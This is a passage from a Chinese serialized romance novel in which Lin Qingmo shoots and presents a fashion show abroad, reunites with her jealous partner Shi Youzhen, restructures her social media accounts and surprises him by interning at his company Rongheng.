施友臻算旧账:“之前?之前被你完璧归赵的那对?你还给我,当然又成我的了。我压箱底,提醒自己时刻铭记你走的时候多残忍,林清茉,你能干出那么多狠事儿,根本不爱对不对?” 清茉凑近镜头仔细瞧了瞧,猜测着:“这么凶?哥,你头发乱了一点哎,我猜猜,是不是喝了一点酒?少衡刚才还发信息给我,说你今儿晚上在施爷爷那里大杀四方,是不是讲话不客气了?” 施友臻点头,如实汇报:“我讨厌他们乱打听瞎管,也讨厌他们说女人上不了台面,林清茉,我说谁再管,我就带你私奔。” 清茉被施友臻灌过两杯酒,施友臻喜欢摆弄微醺时候的她,清茉这会隔着镜头,也觉得得了趣味。她哥好像话会多一点,带着很久很久之前皱着眉头生闷气的小男孩的影子,抱着灭火冲出来收拾烂摊子的时候,带着两只拖油瓶上学的时候,被他俩吵闹地没办法安静看书的时候,会很有脾气地皱着眉头。 慢慢地他长大后话越来越少,脸上的表情也不再外露,但是一直一直很认真地工作,承担着他的职责,不仅有美丽的大脑,还有一颗超级负责任的心。 清茉侧躺下,说着:“哥,是不是因为我受委屈了。我无所谓的,要是那么在意旁人的目光,我早就过不下去了,哥,我真的无所谓。” 施友臻:“不行,我有所谓,不过不算受委屈,我是让大家都认清事实。” 清茉乐,她好像能想出来一点,哄着:“所以最后战绩如何?” 施友臻:“当然大胜。” 清茉笑出声,哄着施友臻讲今天晚上家宴上发生的事情,施友臻连少衡举手说“我愿意”都描述了一遍,清茉笑地在床上翻滚,问着:“这么说,咱俩私奔还得带上他吗?” 施友臻沉默了一下,回答:“那不带了吧。” 俩人聊了好长一会,还是施友臻看了看时间,提醒着清茉该赶紧睡觉了,清茉被他一说,困劲儿也起来了,这两天实在是太累,晚上又看了一整晚文献材料,打了个哈欠,央求着:“哥,可以开着视频睡吗?再跟我聊两句嘛。” 施友臻同意了,清茉把手机架旁边,困意袭来的时候,也不记得自己讲什么了。 林清茉睡着前,施友臻听到她低语着:“哥,我好想你。” 施友臻回复她:“我也是。”不过清茉已经睡着了。 第二天丹尼过来见识那三套珠宝,捂着胸口深呼吸,指着翡翠那套坚决道:“不可以,绝对绝对绝对不可以!施总什么意思啊?这种级别的翡翠肯定会压住我的衣服,施总没说不戴就要撤资吧?翡翠不可以,绝对不可以!” 清茉看丹尼这么焦虑,笑道:“可用可不用嘛,听你的。” 丹尼瞧着那套珍珠,倒是心动了,说着:“珍珠跟苏绣那套很搭,不过翡翠的话,象征东方的温润内敛,飞鸟珠宝是西方锋芒毕露,茉茉我再想想,怎么佩戴不压衣服,又增加亮色。” 清茉:“好,不要有压力,我哥没说一定得戴。” 丹尼无语:“哦,那你们关上门在家戴着玩是吗?” 清茉突然想到夜里施友臻让她穿着睡衣戴上的模样,当时没深想,这会被丹尼一吐槽,清茉一下子觉得他哥就是很不对劲! 大秀的日子很快来到,清茉在流程上只需要出场两次,一次是陪丹尼谢幕,一次是在秀场之后的招待宴会上进行更深入的探讨和解读。丹尼回去琢磨了很久,让清茉的翡翠珠串搭配了华丽的粤绣,谁也不压谁,苏绣则是珍珠和飞鸟宝石胸针,意外地和谐,丹尼搭配完之后感慨:“施总好眼光,真会琢磨。” 大秀的关注度超乎丹尼预期地高,社交强度超大,恩永直接负责了海内外媒体的安排,调来了融恒的人帮忙,也忙地哑了嗓子。清茉也是第一次见这个阵仗,无比庆幸自己当时头脑清醒,坚决没有上去走秀,不然就是笑料!人果然要有自知之明! 不过丹尼领着清茉在雷鸣掌声中出来谢幕的时候,清茉还是收获了更加热烈的一波掌声,丹尼对她进行了介绍和感谢,牵着清茉的手走到台前,并请清茉自己介绍。清茉很久没有这样站在聚光灯前,有些紧张,但是很流利地用她具有文学感染力的辞藻传达了一针一线间的浪漫。 灯光很亮,观众席和媒体席一直延伸到会场的暗影之中。 在她看不清的暗处,施友臻站在那里,低调地隐在人群中,远远地凝望着他闪着光亮的小公主。清茉小的时候,喜欢站在舞台的中央,一定要买到最漂亮的蓬蓬公主裙,跟少衡一起主持幼儿园的晚会,拿腔拿调地给节目报幕,家里人都说忙,施友臻临时成了当时的家长代表,清茉脆生生的稚嫩童音仿佛还在耳边。 后来,他的茉茉藏到了人海,从平庸中寻找安全感。 夏助对着这位从天而降的老板也是无语至极,内心咆哮着既然施总也要过来,为什么不自己当人肉快递,他在旁边小声问着:“要不要去打招呼?” 施友臻拒绝,说着:“不用。” 就把舞台和灯光,全部留给清茉吧,他突然推掉工作决定过来,只是因为清茉睡前迷迷糊糊说着很想很想他。她的秀场,让她独自去完成,获得属于自己的掌声。 比起现在去打扰,施友臻更期待活动结束后,用恶劣一点的方式吓她一跳。 第113章 第一百一十三章 聚光灯和名利场。 …… 聚光灯和名利场。 清茉在短短一周时间内阅读了大量文献, 拍摄之余进行了很多翻译考证,比起丹尼,她更倾向于与宾客就绣法技艺深厚文化历史本身进行交流。只是这个场合, 并不是她习惯的学术场合,时尚到极致,浮华到极致, 热闹到极致,但是不需要那么深入。不过清茉很快调整了心态, 只要展示出触达人心的美就够了。 丹尼无限的精力同样体现在他无休止的交际中, 恩永接待完最后一波媒体的自由采访, 也松口气, 找到清茉说着:“我还以为你会接受采访呢, 刚才好多媒体想采你。” 清茉觉得自己已经顺利完成使命,说着:“凡事有个度嘛,我又没有采访经验, 说多说少万一被人断章取义, 就不好了,我去问问丹尼, 感觉咱俩可以走了, 他好像要跟私交好的那波朋友再出去聚会。” 恩永跟她一拍即合, 都松了口气。 深夜的街道几乎见不到行人,恩永把车停好后, 清茉突然想出去走走透气, 这几天高度紧张,压力爆棚,晚上她在宴会前的发言真是透支了全部的精气神儿,被丹尼拉着社交的时候, 腮帮子都要笑僵硬了,清茉伸了个懒腰,问着:“咱俩沿着路走走呗,呼吸呼吸新鲜空气。” 恩永完全同意,感慨着:“丹尼精力也太好了,他怎么能记住那么多人名。” 城市夜晚的街道像一副宁静的油画,古老的、现代的建筑安静地林立在两侧,恩永把自己外套批到清茉肩膀上,小跑着活动身体,问着:“姐,课业怎么样?我还以为你会一直待在国内不用过来了,我一朋友拿学位的时候,就在海外待了六个月,剩下时间都在国内。” 清茉:“嗯,在跟导师商量,学分估计会集中拿一下。” 恩永又想起来一件事儿,乐道:“我听我爸说,我大哥狠狠撅了小叔,当时特别精彩,大哥跟你说没,我听我爸讲那段我都乐坏了,怎么还有人活在自己幻觉里啊,大家都当笑话看。不过大哥正式介绍了你,我爸妈都好奇地跟我来打听。” 清茉想起那晚微醺的施友臻,觉得街道愈发空,夜晚愈发长,她就是很想很想他。 恩永突然就说着:“姐,其实你真的很特殊,要是旁的女孩,跟我大哥这种身份的人交往,总会有些拘束,不过你好像完全不在意,旁人没见过的,你小时候就见过了,而且跟我们家青年一代里最重要的两个人都是很亲厚的关系,少衡哥跟你关系也超好吧。我们家爷爷太强势,他掌权时间太久,我爸跟几个叔伯,一直不突出,直到爷爷实在年纪大了,我大哥接管了融恒。所以有眼力价的,都知道现在和未来,谁说了算。” 清茉其实在走神,她不在意这些,或者她很早很早就见识过了,从小到大,只有施友臻碾压别人的份儿,不管是脑力还是体力。 清茉聊着:“NONONO,恩永弟弟,青年一代里,我还跟一个人关系好,一位能关系融恒未来发展的青年才俊!” 恩永好奇问:“谁啊?” 清茉使劲儿拍了拍他的肩膀,说着:“你啊!” 俩人笑着聊天,绕着外面的街道悠闲地散步,放松着刚才一直紧绷的神经,全然没有注意到后面不远不近地缀着一个人影,深夜街道,空无一人,暗影尾随,要是清茉回头看,搞不好会觉得渗人,不过她跟恩永聊天,没注意。 施友臻就这么看着恩永脱掉自己的外套,给清茉披上,也看着她亲昵地拍着恩永的肩膀,有说有笑地一路聊着天。 他很介意。 清茉跟少衡也经常有亲密的举动,说实话施友臻不是很在意,他知道自己的弟弟,也知道清茉跟少衡是两小无猜的情谊,但是恩永不一样。在他的前八次旅行中,有很多次也看到恩永跟清茉这样热络地在一起,他当时甚至想,清茉或许选择离开是正确的,她就该选择像恩永这样阳光、年轻、率真的年轻人。 施友臻是几乎不会自我怀疑和自我贬低的人,但是之前确实存在过几个瞬间,施友臻觉得清茉或许可以选择一条更轻松的道路,找一个更有青春活力的男人,过简单一点的人生。 施友臻知道恩永没有问题,仍旧是自己重点培养的堂弟,而且性格正直,品性端正,但是他太分明地记着曾经的心境,此刻再次看到前面两人的相处,负面情绪还是会有,有了软肋,就有了弱点,他算是体会到了。 施友臻快走几步,恩永察觉到脚步声回头的那一刻,施友臻从清茉身后一手捂住她的眼睛,胳膊揽在她胸前将她猛带进怀里,恩永惊愕,施友臻竖起食指做出噤声的动作,恩永立刻意会,快步跑开。 大哥宣示主权似的占有意味明显,恩永觉得可太有趣了,世人千面,他绝对想不到大哥竟然也有这样的一面。刚才聊天清茉还捧着他说是什么“青年才俊”,“青年才俊”个屁,他现在赶紧开溜不当电灯泡才有可能成为融恒的青年才俊。 所以恩永赶紧回去把自己车开走,连夜返程,顺便告诉丹尼今天晚上住酒店,别回去添乱。 清茉被人突然捂住了眼睛,以为是恩永故意落下两步从身后开玩笑,也觉得奇怪,恩永一般不会这么越界的亲昵,清茉拍了拍对方手背,问着:“恩永?干嘛啊,我看不到路了。” 她一开口,身后的人突然低头在她的耳垂上用力咬了一口,带着炽热的呼吸和温润的触感,咬地很用力,清茉吃痛惊呼出声,她抓着对方的手背,有点难以置信,但是确实是熟悉的气息,清茉问着:“哥?” 对方不松手,也不松口,咬得更用力些,清茉疼得往他怀里缩了缩,施友臻还是捂着她的眼睛,并不讲话回应,将她推到路旁建筑的墙上,落下了绵长深吻,他又是用力很重,清茉很快就呼吸困难,想掰开施友臻的手,但是他用了更大的力气,明明就是控制欲很强,而且乐于用蛮力去实施的人。 施友臻紧紧攥着她的手腕,脚步很快地往家走,清茉只能一路小跑地跟上,都跑喘了,回家后施友臻又疯又沉默,清茉以为他是在家里被长辈找茬受了气,就算被揉捏地连不成一句完整的话,还是哄着问他:“哥,怎么突然过来了,怎么不讲话?生谁气了吗?” 施友臻那股劲儿,就是不管清茉在外面的灯光下多耀眼,不管她要走到多么海阔天空的未来,在这个充满着玫瑰花香的卧室有限空间中,他就是要做完完全全的占有者,可以恶劣地、蛮横地、不计后果地困住她。 和缓了一会,清茉咬了施友臻手腕,问着:“哥,你想我想地这么疯了吗?” 施友臻顺着她的后背,捻着她又留长的黑发,倒是挺实诚地说着:“看到你跟恩永走在一起聊天,吃醋了。” 清茉一愣,仔细俯下身子在施友臻脖颈处闻了闻,笑道:“哥,你今天也喝酒了吗?我的天,你沾酒精之后,是不是会变成另外一种性格?你刚才是说你吃恩永的醋?恩永的?” 施友臻确实在等清茉的时候,喝了几杯佐餐的葡萄酒,他看清茉笑地没心没肺,用力掐住她的腰,说着:“介意不是应该的吗?你穿着别的男人的外套,上面有难闻的香水味。” 清茉轻轻拍了拍施友臻的脸颊,笑他:“哥,你看清了吗?是恩永哎。” 施友臻有话不藏着,直白道:“知道是恩永,他可以参与你的直播,可以吃你亲手做的饭,可以跟你一起骑行、徒步、游泳,林清茉,你离开我的那段时间,被另外的男人陪伴,就算是我堂弟,我也会介意。我当时甚至想过,恩永那样的人才更适合你。” 清茉第一次听他讲这些话,就继续问着:“我总会结识新的朋友,哥,我刚搬来的时候,看到融恒驻外办公大楼就在旁边还挺吃惊,抬头就看到融恒LOGO,每天都路过,我也会想,万一很偶然遇见你,该怎么办。” 俩人好像还没太聊过当时的各自心境,施友臻抱紧她,说着:“我当时本来计划,每个月都固定日子飞过来几次,能遇到就遇到,不能就算了,直到那次你要求停止。我当时已经决定,把未来交给时间了。你说的对,总会遇到新的人。” 清茉哄他:“对不起嘛,哥,恩永可是纯情大男孩,你可别乱扣帽子,我都要一起冤枉了。” 施友臻应着:“知道,是我心态有问题,分离焦虑,患得患失,林清茉,你要负责到底。” 清茉被他带偏,这会才回神问着:“等一下,哥,你有参加今天的活动吗?你来了怎么不去啊?我今天超超超美的!你早说我就不换衣服了,直接穿回来给你看!” 华服哪有清茉本身好看,施友臻把兴奋炫耀的清茉重新抓到怀中,说着:“去看了,活动很成功,你表现地也很优秀,所以刚才奖励你了。” 清茉:“?” 施友臻问她:“不够吗?还想要更多奖励?” 其实清茉对施友臻,一直也有刻板印象,小时候是板着脸在书房笔耕不辍的早慧小大人,长大了是成熟内敛不动如山的严肃男人,今天夜里又是被他以“吃醋”为借口,又是“奖励”为借口,缠了一夜,清茉都恍恍惚惚,捧着施友臻的脸问他:“哥,你一直都是伪装的对吧?你就是骗子,根本不是正经人。” 施友臻不否认,他有时候也奇怪为什么大家都觉得他是很正常的人。 隔天清茉爬起来才看到恩永跟丹尼的信息,想着昨天他哥那疯劲儿,清茉头大,爬到施友臻后背上,还是很困惑地审问道:“哥,你昨儿说,吃恩永的醋,是真的吗?所以那次才问恩永有没有在我家睡过?睡过但是是跟他五六七八个小伙子朋友一起睡的,哥,那你得一二三四五六七八个的醋都吃,我怕你身体吃不消哎。” 施友臻要说什么的时候,清茉在他哥后背上用力拍打了一下,问着:“既然都说开了,那我也要问了,张嘉姐是怎么回事儿?不止一次吧?施总?你怎么一直没解释过啊?我看又是见报又是见家长,我也好吃醋的好吧,人家恩永是真纯良,被你想歪,我看张嘉姐不见得无辜吧,少衡都说你们好合适的呢。” 施友臻把她从后背上颠下来,摁住问着:“你是真的吃醋吗?” 清茉点头:“嗯啊,所以我退出了嘛,你们门当户对,我愿意做伟大的那个人,成全你们!” 施友臻觉得她实在是太欠揍了,被揍又乐在其中,正好了。 俩人折腾一天,又补眠半天,直到丹尼过来取行李,他从恩永那里听说了施总过来,见面的时候笑地格外谄媚,对清茉一顿感谢一顿夸,没多打扰,继续跟他那圈子朋友花天酒地去了。 清茉问施友臻待几天,结果他竟然连夜要飞回去,清茉的心情一下子超级低落,一直到机场都紧紧拉着她哥的手。 施友臻登机前亲吻清茉的额头,嘱咐了几句要好好吃饭,好好睡觉,看他的小女孩一脸要哭出来的模样,眼睛已经红红的了,也是心里又软又酸,哄着:“好了,快点修满学分回来。” 清茉闷闷地“嗯”了一声,目送他离开。 清茉揉了揉眼睛,她总是会很快调整自己,就像当初决定要跟施友臻在一起的念头一样,她决定趁着最热恋的时候,最浓情蜜意的时候,那就好好热恋,好好享受最纯粹的爱情,何必没苦硬吃,何必因为时空分离让彼此缺失陪伴。 岁月不可回溯,人的心境也是,爱情也是。 第114章 第一百一十四章 清茉约导师长谈了一次…… 清茉约导师长谈了一次, 讨论完课题后一起漫步在校园里,她向导师讲述自己的恋爱故事,不过又像徒步时候讲给徽章爷爷一样, 横跨漫长岁月的分分合合,很简短的几句话就概括完成,导师祝贺清茉开启了新的人生旅行。 导师听到清茉讲她雨天站在酒店门口, 抬起雨伞伞沿的时候很意外地再次跟他相逢,导师捂住自己的胸口, 笑得很甜, 说着:“天呢, 好像是我喜欢的浪漫元素, 漂亮的酒店, 一直下的雨,巧合的偶遇,他听起来很浪漫。” 清茉听了也很认真的考虑, 好像她哥确实热衷于做一些剑走偏锋的浪漫, 不像刻板印象中的无趣,确实是很有意思的一个人, 加上他那身价, 奇奇怪怪的浪漫事迹越来越多了, 比如前几天很认真地问清茉,要不要买下他们一起去过的北欧城堡酒店。 导师听地津津有味, 很体谅她在热恋之中的迫切心境, 毕竟都是从年轻时候走过来的,商量好清茉将在接下来的几个月集中拿完学分,之后回国参与国内的联合共建课题,底线是要正常交出成果, 拿到学位,导师还笑着警告清茉,如果明年不能按时提交,那就只能把她抓回来盯着写了,导师说:“到时候就只能让你的男朋友过来陪读了。” 清茉喜欢这个校园,再选择一次,她还是会选择向往的象牙塔,导师临别的时候再三叮嘱,就算陷入爱情,一定一定不要中途放弃学位,一定一定头脑清醒,做个人格独立、保持理性思考的女性,导师用过来人的口吻说着:“如果不能兼得的时候,亲爱的,要记住做更爱自己的那个。” 在离开父母庇护的岁月里,清茉很感激遇到了几位正向引导她的人生导师,国内是,国外也是,从租给她房子的阿姨,到严谨又有人情味的导师,清茉去看她们的人生,会发现,爱情是她们过往岁月中浓重的一笔,也曾经刻骨铭心轰轰烈烈,但是不会是人生的全部,而她们放下爱情的时候,反倒拥抱了世界。 校园咖啡厅的巨大落地窗外,年轻的孩子们骑着单车飞快驶过,清茉坐在里面,一条一条整理着自己社交媒体平台上的内容,看着过去一年记录的点点滴滴,清茉从第一条视频开始,修改权限,设置了只对自己可见。 全部隐藏之后,她要上传自己剪辑好的一个视频,上面是她过去一年,从世界尽头,到朝圣徒步,再到蓝调雪山的合集,辽阔的远山,崎岖的峡湾,跳跃的虎鲸,绚烂的极光,盛夏的海,隆冬的雪,结识的旅人。在一个又一个告别的路口,挥手拜拜的背影,和分开走的岔路。 还有房东阿姨精致的烛光晚餐,恩永带着他的运动系大男孩们呼啸而过的骑行车队,安静校园图书馆巨大落地窗外苍翠华冠的古树,还有主题乐园跟少衡靠在一起看过的漫天烟花,跟导师一起出席发言的学术会议,日出日落反复路过的百年酒店的门庭,永远精致打理用玫瑰花摆满整个庭院的花店。 清茉眼睛湿润地将整个视频又检查剪辑精修了一遍,每个瞬间只有短短几秒。她身边的优秀女士们说的很对,爱情不是全部,去年寒冬新春,她独自来到这里,并没有再次回去的打算,这一年,她没有虚度光阴,过得也足够精彩。 她想起前些日子施友臻吐露心境时讲的话,他说他原本已经打算,把一切交给时间。如果没有临时起意回国参加六六婚礼,没有因此引发的一系列意外,可能是真的会将一切交给时间,会遗憾,也会淡忘,沉到心底,也越来越轻,在未来遇到更多新的人,年长后会讲给后辈青年人,讲当时很爱的人多优秀,讲没有开始的爱情多遗憾,讲没有爱情也可以把一生过得精彩。 可是深夜的思念是真的,心底的爱意也是真的,岁月抹平下的轻描淡写,也是真的抱憾终身。 清茉在视频的配文里,用了那段很有名的话: “We are all visitors to this time, this place. We are just passing through. Our purpose here is to observe, to learn, to grow, to love and then we return home.” 点击上传后,她如释重负,视频的配文上写着:“新的旅行:MoArt。” 后面是她新申请的运营账号链接:MoArt Culture。 少衡第一时间打过来电话,他还以为怎么了呢,问着:“茉茉,你账号怎么清空了?没事吧?我哥欺负你了吗?” 清茉刚上传没几分钟呢,也不知道少衡是不是没好好工作,又抱着手机偷懒,说着:“想什么呢,你哥是随便欺负人的那种人吗?你被欺负也肯定是又被他抓到纰漏。” 少衡无语,骂着:“你怎么这样?我就不该关心!到底什么情况,突然就清空了,这种大动作怪吓人,终于想通了,要跟我结婚了吗?” 清茉:“嗯,你给你哥发请帖去吧。” 少衡:“……” 清茉心底柔软,知道少衡其实心思细腻,没再开玩笑,解释着:“我的账号太私人了,里面都是你哥没介入时候的个人生活记录,虽然你哥说不介意,他介意的话咱们肯定吐槽他小气,我总得多考虑些,而且上次大秀之后,我也有新的想法,以后就在MoArt的官方号上更新正式一点的内容。” 上次丹尼的秀,确实是宣传效果轰动,清茉拍摄的宣传片很出圈,关注热度很高,清茉现在把私域的流量直接带到未来要主营的账号上,倒也很合适,少衡问着:“茉茉,你有规划的话,咱俩再碰一碰,我现在好多转型园区项目,需要文化内容填充,第一桶金要不要从我这里赚?” 清茉乐:“哦,这么好心,你自己闯祸的窟窿补上了吗?” 少衡:“……” 施友臻的电话也追了进来,清茉现在知道他设置了专门的更新提醒,毕竟是在评论区一个一个私联粉丝高价购买奖品的家伙,清茉接了起来,果然施友臻问着:“账号怎么回事?我说过不介意,都删掉了?” 他的语气好像有点介意删掉,清茉不着急,慢悠悠问他:“哥,你不是都偷录了嘛,该下载的也都下载了,播放地都要包浆了吧。” 施友臻再问:“我不介意你有私人账号分享生活。” 清茉:“没删,设置权限了。” 施友臻沉默那么一下下,说着:“嗯,权限开放成仅对我可见。” 清茉:“不要,那还得一条一条再去改权限,好麻烦,你都下载了!” 施友臻:“现在就去改,林清茉,可以谈条件。” 清茉一想,也不是不可以,说着:“哥,少衡说要给我投第一笔钱,我想了想,这么荣耀的机会,应该先问问你想不想争取,看到我MoArt新账号了吧,我改权限的话,你要不要考虑争取做第一个投资人?” 施友臻明显语气轻松愉快了起来,清茉真是越来越会哄他,知道讲什么要什么能让他又爽又快乐,施友臻答应:“可以,改完了我们详谈投资。” 结束通话,施友臻顺着清茉放上的新链接,跳转到了MoArt的新界面。 账号背景是一张施友臻都没见过的照片,上面是清茉身着丹尼设计的那套华丽的金银绣粤绣服装,戴着他送的翡翠珠链,照片没有露出正脸,她侧身站在海边的崖边,远景是辽阔的海洋和峡湾险峻的远山,人像精致,意境悠远,施友臻很喜欢,先点击了保存。 清茉提过丹尼又多留了些日子补拍取景,这是藏着照片没给他看呢。施友臻追过去电话,问还有没有别的拍摄照片,清茉不给,说着:“我还得留着换投资呢。” 她又花了一些时间,把权限改成了仅对乱码ID账号的这位先生可见,翻看的时候浏览着当时施友臻的留言,其中有几条里面,施友臻竟然重复的话发了十多遍,清茉的粉丝数量不小,施友臻的留言硬是都被压在下面,清茉都没发现过。 截图给施友臻发过去,清茉留言:“承认吧哥,偷窥的时候就超爱了对不对。” 毕竟榜一大哥也当过,这点偷窥的留言狂不算什么,施友臻大方方回复:“承认。” 清茉全部改好,让施友臻去验收,他竟然检查出几条漏网之鱼,数量实在庞大,清茉估计手滑给漏过去了,清茉马屁着:“哥,你真是世上最美丽的头脑,记忆力也太好了吧。” 施友臻回复:“对待甲方请态度认真严谨一点,不想要投资了吗?自己再检查一遍。” 清茉:“好嘞好嘞甲方爸爸是我的天,我的地。” 正在施友臻办公室汇报工作的章宁,瞧着施总频繁看手机,心里猜着估计是跨国小情侣又在聊什么轻松愉悦的话题了,章宁心里琢磨了半天,决定按兵不动。 章宁跟施家哥几个也是从小一块长大的铁关系,不过章宁认识他们的时候,并不存在“林清茉”这个人,连名字这么多年都不曾听他们提起过,直到后来石破天惊、横空出世,连章宁都愈发感叹,一物降一物,清茉真是能把施家兄弟俩精准拿捏。 章宁等着施友臻回复完信息再继续汇报,临出门好奇问了句:“最近要安排出国的行程吗?” 这两周有跟政府部门合作的洽谈项目,施友臻坐镇,走不开,此刻只能说着:“没有。” 去频繁了是话题,去少了更是话题,那对照以前的频率,离着上次飞去找清茉的时间间隔有点久,章宁好心好意地问着:“那清茉最近回来?” 施友臻抬眼看他,面无表情地说着:“不回来。” 章宁感慨了一句:“真不容易。” 作者有话说:还有一章正文部分完结,看看今天能写完不~番外写IF线平行篇和婚后日常~《 》 【END】 第115章 第一百一十五章 融恒集团总…… 融恒集团总部周一工作日繁忙如常, 早晨上班高峰,融恒职员穿梭在集团大厦之中,领导层的风格是一丝不苟地正式, 职员也都是精致正装,一眼看过去,尽显上升期大集团朝气又严肃的气场。 融恒公共事务部的负责人周部长也到了大早, 章宁约他今天早晨见面,要安排一位新人入职实习。能让施总嫡系红人章宁亲自带过来的实习生, 估计是哪家的公主公子, 周部长务实惯了, 想着不求能干事, 但求不给惹事就万幸了。 上午十点钟, 避开人流高峰,章宁先去地下车库接人,俩人也是熟了, 一见面章宁就吐槽她:“清茉你可真会挑人, 这事儿你要是委托小夏,他估计早就颠儿颠儿地去跟施总汇报去了, 哪能像我, 捂这么严实。不过你一踏进去融恒的门儿, 都能认出来,就捂不住了, 想怎么给他惊喜啊?” 林清茉也是刚下飞机, 先把行李放到章宁车上,说着:“他今天一天会吧,他忙他的,我可不敢打扰。章哥, 您级别也不低了吧,招个实习生的权限该有吧?我可是正经要来学习的。你们融恒公共事业做的首屈一指,上次支持丹尼大秀的时候我就佩服地不得了,我想学习一段时间找找思路。” 章宁领她进电梯,清茉笑着掏出她的卡刷电梯,是上次施友臻一定要带着她上班的时候,特意给她定制的卡,权限跟施总一样高,出入融恒的任何空间都自由。 章宁领着她去公共事务部报道,周部长已经在小会议室等着了,起身迎接打了照面,周部长一愣,章宁介绍道:“可能也有印象,林清茉,在读博士,主攻文化传播,清茉,这是周部长,公共事务部资深专家,去年几个得奖的文旅案例,就是周部长的作品。” 周部长大脑宕机,这张脸他可是太熟悉了,施总所有的工作都是严格按照流程办事,尤其是纯投钱的公共事业,唯一一次例外,就是给了眼前这位林清茉。当时施总单独把他叫过去,给了设计师丹尼的活动宣传材料,让融恒一起跟进并支持宣发。 周部长审核发布材料的时候,可是见过太多次眼前这位林女士的宣传照,猛不丁人就站在眼前,周部长完全不知道是什么节奏了,他打着招呼,试探着问道:“是实习吗?那……施总知道吗?” 章宁乐,说着:“他不知道,是我招的实习生,得,这么着吧,我去总裁办调整下会议安排,你们部门不是有一笔钱要动议吗,等我信儿。老周你先跟清茉聊一聊,介绍一下部门,你们汇报材料都准备好了吧,我看昨天提交了,要是排会顺利,估计十一点能排上,我把小施总的会摘下午去。” 老周有种自己成为PLAY一环的惶恐感,先出去告诉部门赶紧备会打印材料,进门冲着清茉尴尬笑笑,清茉也不好意说着:“周部长,我是真的有学习需求,写论文也需要这部分的内容,我仔细研读了您部门近五年支持的文化公益事业,案例真的特别有意义,我想跟进一次项目运作的全程跟您学习。” 清茉想了想,补充着:“还没跟施总说,我临时回国,待会准备给他个惊喜,你别笑话。” 周部长被清茉夸地都有点害羞了,集团内部对这位神秘女士传闻太多,尤其是上次融恒支持的时尚大秀,这位女士不仅拍摄了宣发海报和视频,而且美地太有冲击力,周部长瞧着眼前传说中的人,还是有些不知所措。 章宁出马,很快打电话让周部长上去开会,清茉可以作为部门人员跟会,章宁乐在其中,早早在会议室门口等着,悄悄跟清茉说着:“你待会肯定能吓他一跳,期待,加油。” 清茉这次回来,确实有点想吓他一跳的小心思,章宁又愿意张罗,她也想看他哥吃一惊的模样,周部长落座前,还单独问清茉要不要上桌,清茉赶紧摆手,说着:“我就是部门旁听的小实习,上不了桌,我坐后面听会。” 不曾想,施友臻工作的时候,完全是另外一个气场,会议时间到,他准时走进会议室,一丝不苟的笔挺正装更衬得他不近人情似的严肃,目不斜视落座,头都不抬先翻看了会议材料,问道:“为什么临时调会?” 因为不是章宁部门的议题,章宁没有参会资格,陪会的小孔主任也是听了章宁的安排,他以为施总知道的,结果被当面质问,小孔主任紧张道:“好像是小施总要下午汇报。” 施友臻已经快速翻看完材料,说着:“跟他说下次再随意调时间就不用来汇报了。”他接着问周部长,道:“项目可行,预算不行,融恒的钱不是大风刮来的,你们是出于什么考虑追加资金?报给我的材料上看不出跟追加资金匹配的社会效益。” 周部长被施总质问地注意力高度集中,专注开始回答项目的问题,把身后实习生女士的事情抛诸脑后,一连串质问和回答后,周部长脑门冒汗,施总还是不同意相关预算,周部长应着:“那我们回去再研判改进一下。” 施友臻抬手腕看了眼时间,仍旧对少衡临时调会不满,少衡的项目更复杂,他本来给预留了更长的会议时间,他起身对小孔主任说着:“让融恒置业现在就过来汇报,下午没他的时间。” 小孔主任赶紧去通知,施友臻已经起身往外走了。 清茉坐在周部长身后的旁听席,不知道是不是因为会议室椅子的椅背太高遮挡了施友臻的视线,总之施总迈出会议室的那刻,清茉确认施友臻压根没看到她。 清茉:“……” 周部长:“……” 一脸兴奋八卦的章宁守在门口,看着施友臻离开会议室,探进来脑袋狐疑地问着:“什么情况?你们会上吵架了?” 清茉:“哦,他没看到我。” 章宁:“……” 事实就是这么真实残酷,如果连上桌的资格都没有,不配得到施友臻的一个眼神。清茉想,他们俩还能有交集,其实是因为小时候的情谊在,不然她此刻还是泯然众人矣的普通职工,他们永远不会有交集。 周部长扶额,但是又觉得好笑,他已经过了风花雪月的年纪,但是已经听说太多施总跟女朋友跨国恋爱的八卦,他现在被迫成为一个环节,干脆打不过就加入好了。 周部长被施总在会上卷了一顿,项目又没通过,此刻起身,清了清嗓子,投入了角色,说着:“清茉你看,就是这样的流程,正式立项之前,材料成熟之后,要先跟施总单独汇报一次,集体决策前跟施总的汇报一般最难,刚才你也看到了吧。” 确实看到了,她哥好凶,但是好有气场,特别X感,工作中凶巴巴的男人好迷人,还好是自家男人,真是她顶头上司,够喝一壶的。 周部长很享受自己的新角色,毕竟施总虽然驳回了他的项目,但是施总的人落在他的部门了,周部长拍了拍手,说着:“那,咱们就正常工作,清茉跟我先回部门,刚才应该带项目组的人来参会,既然你来了,就回去整理一下会议精神,下午开个部门全体会,我们赶紧再修正一下。” 章宁也乐:“挺好,咱们就顺其自然。” 少衡被总裁办一个电话急召过来,一头雾水,章宁在楼下等他,一脸坏笑嘱咐着:“我调的会,施总不大高兴,不好意思了小施总。” 章宁陪了不是,少衡应着没怎么往心里去,上楼找他哥,时间已经接近午餐的饭点儿,少衡进屋问着:“哥,不可以先吃饭吗?我好饿,早晨没吃。” 施友臻翻看少衡的材料,“嗯”了一声,少衡说着:“一块儿呗,我还有别的事儿,一边吃饭一边问。” 少衡走进餐厅,明显觉得气氛不一样,平时他跟他哥下楼去吃饭,融恒的职员该干嘛干嘛,今儿他俩走到餐厅门口的时候,明显被大家注视,并且都沉默了那么一小下。少衡好奇地张望,问他哥:“今天你给大家整什么福利了吗?” 施友臻也环视了一下,说着:“没有。” 少衡狐疑,抓住一旁的小孔主任,让他去打听打听,去专属包间刚坐下,小孔主任进门表情也挺精彩,迟疑了下,汇报道:“好像是公共事务部今天招了新的实习生,长得特别像……嗯,林女士。” 少衡一愣,他哥也抬头皱眉,少衡问:“长得像是什么意思?在外面吃饭吗?我去看看能有多像。” 小孔主任:“跟您前后脚,刚吃完饭走了。” 少衡坐不住,要去看,施友臻让他消停坐下,先把正事儿说了,再怎么像也不是林清茉,施友臻对旁人说“像”这种事,已经在反感了。 清茉中午吃完饭,回公共事务部开始研究项目的方案,部门里的人对她也好奇,周部长上午火急火燎去开会,都没来得及把清茉介绍给大家,这会看清茉在工位上看文件,有年轻女孩好奇地过去找招呼,试探着问道:“您和丹尼设计师的那位封面模特好像哦,当时是我上传的海报,所以一眼就觉得您像,您是……” 清茉点头:“嗯,是我。” 小姑娘瞪大眼睛,立刻道:“姐姐!太美了!我请您喝饮料!” 